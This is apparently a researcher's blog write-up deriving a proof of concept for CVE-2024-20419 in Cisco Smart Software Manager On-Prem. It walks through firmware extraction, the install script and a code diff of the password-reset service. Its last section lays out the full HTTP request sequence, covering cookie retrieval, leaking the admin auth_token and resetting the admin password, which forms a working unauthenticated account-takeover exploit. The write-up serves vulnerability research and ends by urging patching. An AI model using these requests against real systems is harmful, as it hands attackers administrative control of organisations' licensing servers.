CVE-2024-20419 POC
Finding about the CVE and starting to binwalk
I found about this CVE on 23 July, while scrolling on my phone. DNSC published an aricle about two critical vulnerabilities in CISCO. CVE-2024-20419 stood out to me as it had a 10.0 CVSS score, and yet I found out about it almost a week after it was published. Also, at a quick search I couldn’t find any public POC for it.
Judging by the fact that it was marked as easy to exploit, I thought maybe I give it a try to find a POC myself. How hard could it be, right?
I went to the vendors official page to download the first fixed version (8-202212) and the last vulnerable one (8-202206).
The vendor provides an iso
and the steps to deploy it, however, running two virtual machines in parallel with my aready running Kali machine might have been too much for my laptop.
That’s why I decided for beginning to perform some static analysis.
Now, it was time for some binwalk
ing to find any source code/binaries in the provided iso
.
Looking through the files extracted, I found a squashfs
file system.
Right away mounted it, but to my surprise it was just a standard CENTOS file system.
The last directory I looked into was iso-root/hardening/
as the hardening
name didn’t suggest to me the possiblity of having any files of interest for my goal.
First, let me share a quick fact about Smart Software Manager On-Prem, it used to be called Smart Software Manager Satellite.
In the hardening
directory I found the following interesting archive: satellite-install.tgz
(now, you can guess why this archive seemed interesting).
After extracting its contents I had the following files:
❯ ls
ares db ipv6nat satellite-install.sh typhaon
backend docker-compose.yml onprem-console services.img
build.txt fluentd pw.env ssl
cerberus-8_202112-20220720212433.x86_64.rpm frontend redis tacacs-client
The contents of satellite-install.sh
are:
#!/bin/bash
# Generate password env file
cat << EOP > /home/deployer/atlantis/pw.env
SECRET_KEY_BASE=$(tr -dc A-Za-z0-9_ < /dev/urandom | head -c 128)
POSTGRES_PASSWORD=$(tr -dc A-Za-z0-9_ < /dev/urandom | head -c 16)
ATLANTIS_DATABASE_PASSWORD=$(tr -dc A-Za-z0-9_ < /dev/urandom | head -c 16)
PDB_PASSWORD=$(tr -dc A-Za-z0-9_ < /dev/urandom | head -c 16)
EOP
chmod 400 /home/deployer/atlantis/pw.env
# Install Cerberus
rpm -Uvh ./cerberus-*.rpm
# Install OnPrem Console
cp -a ./onprem-console /opt
chown root:root -R /opt/onprem-console
restorecon -R /opt/onprem-console
ln -nsf /opt/onprem-console/bin/onprem-console /usr/local/bin/onprem-console
#SAV-10749 support database backup for nonsudousers
echo "%onprem ALL = NOPASSWD: /opt/onprem-console/scripts/backup_database.sh"> /etc/sudoers.d/onprem
# Make runtime environment aware of build target environment
echo "TARGET_ENV=prod" >> /etc/environment
# Placeholder docker context directory to satisfy docker-compose up
mkdir /home/deployer/atlantis/{db,backend,frontend,ipv6nat,redis,typhaon,ares,fluentd,tacacs-client}
# Load docker images
docker load --input ./services.img
I generated the pw.env
file, loaded the docker images from services.img
and with some tweaks to the docker-compose
file, I could actually deploy the images on my macintosh machine.
First, I interacted with the login page to see its flow.
I couldn’t reset the password of the admin
user as it didn’t have no email associated with it, yet I still learned something out of this: some of the paths involved in the reset password mechanism.
Out of all the containers running after deploying backend
and gobackend
seemed that they could store the source code/binaries behind this.
Some grep
s later, I found that the source code for the app lives in the backend
docker image and its written in Ruby.
I extracted the code to my local machine and then repeated the process for the patched version.
Diffing the code
I quickly diffed the two versions of the code to find any interesting differences.
The first relevant difference I found was in the User model class. Here, a new function was defined, that decided if a user can actually reset their password or not.
The second difference, was in the reset_password_service.rb
.
The changes from the reset password service were quite subtle, and I still couldn’t put the finger on what was the change that fixed this vulnerability.
The answer was right in front of our face
I decided to interact a little with the two instances. After going through the password reset flow from the beginning to the end, the changes was clear, and I realised that it was right in front of my face.
The auth_token
is all that is needed to succesfully reset the password of a user.
This token gets leaked when we generate a OTP code via the get_authtoken
function.
Also, because the lack of a check wether a user can or can’t reset its password in the user model, we can bypass the error message I encountered earlier by simply making the /backend
requests.
We know that all instances of CISCO SSM should have an admin
user, which makes this even more dangerous and easier to exploit.
Putting these things together, we can generate a probable POC to exploit this vulnerability.
Validating the POC
First, we have to get the XSRF-TOKEN
and lic_engine_session
cookie.
At first, I tried the POC without these and I got hit by an error.
However, looking through the Burp Proxy HTTP History I saw that before making the request to generate an OTP code, a request to /backend/settings/oauth_adfs?hostname=localhost
is made.
GET /backend/settings/oauth_adfs?hostname=localhost HTTP/1.1
Host: localhost:8443
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept: application/json
Content-Type: application/json
Accept-Language: en-GB
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
The response should contain the following headers:
Set-Cookie: XSRF-TOKEN=Yr6InPJwESPfYoR52a%2Bxk4ysZOywkHzW8YlhBtSACD9HnhZ4atrqFMrjsROMbtUKpwLPKmqokmVrWiQlMOCX%2FQ%3D%3D; path=/
Set-Cookie: _lic_engine_session=48787c9a7e0f5685e77f3203c208b777; path=/; HttpOnly
Then, we make a request using the XSRF-TOKEN
and lic_engine_session
that we extracted earlier to the /backend/reset_password/generate_code
endpoint, to get the auth_token
.
POST /backend/reset_password/generate_code HTTP/1.1
Host: localhost:8443
Cookie: XSRF-TOKEN=<XSRF_TOKEN>; _lic_engine_session=<LIC_TOKEN>
Content-Length: 15
X-Xsrf-Token: <XSRF_TOKEN>;
Sec-Ch-Ua-Mobile: ?0
Content-Type: application/json
Accept: application/json
Connection: keep-alive
{"uid":"admin"}
HTTP/1.1 200 OK
...
{"uid":"admin","auth_token":"<AUTH_TOKEN>"}
Now, with the auth_token
we got we can make the reset password request:
POST /backend/reset_password HTTP/1.1
Host: localhost:8443
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: application/json
Connection: keep-alive
Content-Type: application/json
X-Xsrf-Token: <XSRF_TOKEN>
Cookie: _lic_engine_session=<LIC_TOKEN>; XSRF-TOKEN=<XSRF_TOKEN>
Content-Length: 192
{"uid": "admin", "auth_token": "AUTH_TOKEN", "password": "Test1234567890!", "password_confirmation": "Test1234567890!", "common_name": ""}
If everything is alright we should get the following response:
HTTP/1.1 200 OK
...
{"status":"OK"}
Make sure to patch your instances if you have any, as this is a trivial exploit with tremendous consequences.